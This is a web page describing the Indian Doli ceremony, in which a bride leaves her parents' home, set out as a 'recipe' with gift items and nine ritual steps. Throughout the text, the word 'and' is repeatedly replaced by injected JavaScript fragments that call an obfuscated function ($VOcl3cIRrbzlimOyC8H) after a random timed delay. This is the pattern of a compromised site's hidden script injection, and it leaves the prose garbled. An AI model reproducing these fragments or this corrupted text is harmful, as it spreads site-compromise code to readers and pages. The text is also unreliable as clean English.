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Leaving Home

Leaving Home

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The emotion is high as the bride throws puffed rice over her head to convey her good wishes for her parents as she leaves home.

When an Indian bride leaves her parents home after her wedding, the tradition emotional ceremony is called a Doli. A doli is a cot suspended by four corners from a bamboo pole andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} was traditionally decorated andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} used to carry the bride. Today, doli refers to the actual ceremony of a bride departing the home of her parents andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a decorated car is usually provided for this purpose.

 

Doli ceremony recipe


Ingredients required:

  • Money for bride’s sisters (from groom)
  • Money to give sagan to couple
  • Rice for bride to throw
  • Ring for bride’s sister
  • Kalichrian – Silver rings for female cousins as a gift from groom
  • Oil in a small bowl (can be mustard oil or baby oil)

 

Steps:

After the wedding ceremony, the bride andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} groom go to the home of the bride’s parents.

  1. The bride goes inside immediately, while the groom participates in a series of fun rituals in order to be allowed entry into the home.The sisters andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} cousins of the bride will only allow entry if the groom pays them a negotiated monetary sum.
  2. Guests arrive andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} are served chai andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} sweets.
  3. The bride andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} groom are seated together, surrounded by their family.
  4. The bride’s parents (andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} guests that wish to do so) give money as sagan to the bride andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} groom.
  5. The bride is ushered to the front door by her parents andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} family.
  6. Before stepping outside of the house she throws three, five or seven handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}fuls of rice (depending on the family’s preference) behind her. This symbolizes repaying her parents for all they have done for her.
  7. The family walks her to the waiting car andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} she will depart for her in-laws home, accompanied by her younger brother or male relative.
  8. As the car leaves, the brothers andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} male cousins give the car a push to help their sister start her new life.
  9. The father of the groom throws coins as the couple departs showing his happiness at the conclusion of this ceremony. Traditionally, this was done as a way to give money to the poor children in the village.
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